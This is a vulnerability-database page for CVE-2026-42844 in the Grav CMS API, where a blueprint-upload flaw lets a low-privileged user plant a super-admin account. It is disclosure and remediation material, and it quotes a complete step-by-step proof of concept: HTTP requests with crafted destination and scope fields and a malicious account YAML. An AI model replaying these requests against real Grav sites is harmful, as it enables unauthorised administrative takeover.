Loading...
Skip to main content

CVE-2026-42844 — Vulnerability in getgrav/grav — CVE Details

HIGH

Low-privileged Grav API users can create super-admin accounts via blueprint-upload

Published May 6, 2026Updated September 10, 2026Source: osv

Summary

## Summary In Grav `2.0.0-beta.2`, a low-privileged authenticated API user with `api.media.write` can abuse `/api/v1/blueprint-upload` to write an arbitrary YAML file into `user/accounts/`, then log in as the newly created account with `api.super` privileges. This results in full administrative compromise of the Grav API. ## Details The vulnerability is located in the API plugin's blueprint upload flow: - `user/plugins/api/classes/Api/ApiRouter.php:261` - `user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:32-45` - `user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:102-114` - `user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:271-308` - `user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:407-417` - `user/plugins/api/classes/Api/Controllers/AuthController.php:41-55` The issue exists because `/api/v1/blueprint-upload` accepts caller-controlled `destination` and `scope` values and uses them to resolve the final filesystem write target. When the request uses: - `destination=self@:` - `scope=users/anything` The server resolves the write target to the shared account directory: ```text user/accounts/ ``` The upload handler then writes the supplied file directly into that directory and does not block YAML account files. Because Grav accepts account YAML files and supports a plaintext `password:` field on first login, an attacker can create a fully functional administrator account with `api.super`. The required attacker privilege is low: ```yaml access: api: access: true media: write: true ``` ## PoC ### Step 1: Authenticate as the low-privileged API user ```http POST /api/v1/auth/token HTTP/1.1 Host: 127.0.0.1:8123 Content-Type: application/json Connection: close {"username":"uploader","password":"Upload123A"} ``` Extract: ```text UPLOADER_TOKEN = <access_token from response> ``` Attachment: <img width="1480" height="825" alt="login-uploader" src="https://github.com/user-attachments/assets/5aeda840-4a37-4365-8e46-caec88066541" /> ### Step 2: Upload a malicious account YAML file ```http POST /api/v1/blueprint-upload HTTP/1.1 Host: 127.0.0.1:8123 X-API-Token: <UPLOADER_TOKEN> Content-Type: multipart/form-data; boundary=----CodexBoundaryF01 Connection: close ------CodexBoundaryF01 Content-Disposition: form-data; name="destination" self@: ------CodexBoundaryF01 Content-Disposition: form-data; name="scope" users/anything ------CodexBoundaryF01 Content-Disposition: form-data; name="file"; filename="pwned.yaml" Content-Type: text/yaml email: attacker@example.com fullname: attacker title: Site Administrator state: enabled password: Passw0rd!123 access: site: login: true api: super: true ------CodexBoundaryF01-- ``` Expected result: ```json { "data": [ { "name": "pwned.yaml", "path": "user/accounts/pwned.yaml" } ] } ``` Attachment: <img width="1484" height="797" alt="upload" src="https://github.com/user-attachments/assets/0b24c03f-cac5-4b4d-840c-52ac0840969f" /> ### Step 3: Log in as the newly created account ```http POST /api/v1/auth/token HTTP/1.1 Host: 127.0.0.1:8123 Content-Type: application/json Connection: close {"username":"pwned","password":"Passw0rd!123"} ``` Expected result: ```json { "data": { "user": { "username": "pwned", "super_admin": true } } } ``` Attachment: <img width="1494" height="830" alt="pwned-login" src="https://github.com/user-attachments/assets/7a1ab7fc-d3fb-4077-9b61-09cd947241fe" /> ### Step 4: Verify privileged API access ```http GET /api/v1/system/info HTTP/1.1 Host: 127.0.0.1:8123 X-API-Token: <PWNED_TOKEN> Connection: close ``` Expected result: The request succeeds and returns system-level information. Attachment: <img width="1480" height="831" alt="system-info" src="https://github.com/user-attachments/assets/31677d61-3dbd-4ea6-9fbe-80799a628cc2" /> ## Impact This is an authenticated vertical privilege-escalation vulnerability. Any API user with basic media upload capability can escalate directly to a full API super administrator by planting a new account YAML file. Once `api.super` access is obtained, the attacker gains full control over the CMS management API and can: - modify content - alter configuration - manage users - install or update plugins/themes - access system-level administration features In a real deployment, this level of control is sufficient for complete CMS compromise and may be chained into server-side code execution depending on enabled plugins, writable template paths, or package-management workflow. This issue was reproduced locally: - the upload response returned `user/accounts/pwned.yaml` - logging in as `pwned` succeeded - the new account had `super_admin = true` - privileged endpoints such as `/api/v1/system/info` were accessible

Advisory Timeline

  • First published May 6, 2026 (159 days ago).
  • Last revised September 10, 2026 — 126 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Composer
Update getgrav/grav to 2.0.0-beta.4 or later
composer require "getgrav/grav:^2.0.0-beta.4"

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: packagist (1).

PackageEcosystemAffectedFixed In
getgrav/grav
packagist
0.8.0, 0.9.0, 0.9.1, 0.9.10 (+319 more)2.0.0-beta.4

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-269
    Improper Privilege ManagementMITRE
  • CWE-434
    Unrestricted File UploadMITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 8.8 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
—
Confidentiality
—
Integrity
—
Availability
—

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Frequently Asked Questions

What is CVE-2026-42844?
Low-privileged Grav API users can create super-admin accounts via blueprint-upload This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.8/10).
How do I check if my project is affected by CVE-2026-42844?
CVE-2026-42844 affects getgrav/grav. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-42844 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
8.8

High exploitability or significant impact. Prioritize remediation within days.

Also Known As

GHSA-6xx2-m8wv-756h

Related CVEs

  • CVE-2026-75827
    CRITICAL

    Grav: Blueprint dynamic-data bare-function branch is denylist-gated and omits error_log, giving arbitrary file write

  • CVE-2026-65608
    HIGH

    Grav: FlexDirectory::dynamicDataField() executes arbitrary callables from blueprint data with no validation

  • CVE-2025-66296
    HIGH

    Grav vulnerable to Privilege Escalation in Grav Admin: Missing Username Uniqueness Check Allows Admin Account Takeover

  • CVE-2026-64850
    HIGH

    Grav: Remote code execution via unrestricted callable in Blueprint::dynamicData()

  • CVE-2025-66299
    HIGH

    Grav is Vulnerable to Security Sandbox Bypass with SSTI (Server Side Template Injection)

  • CVE-2025-66295
    HIGH

    Grav vulnerable to Path traversal / arbitrary YAML write via user creation leading to Account Takeover / System Corruption

  • CVE-2026-42608
    HIGH

    Grav has Unauthenticated Path Traversal & Arbitrary File Write in its FormFlash component

  • CVE-2026-72695
    HIGH

    Grav: Path Traversal in MediaUploadTrait::deleteFile() Allows Arbitrary File Deletion

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies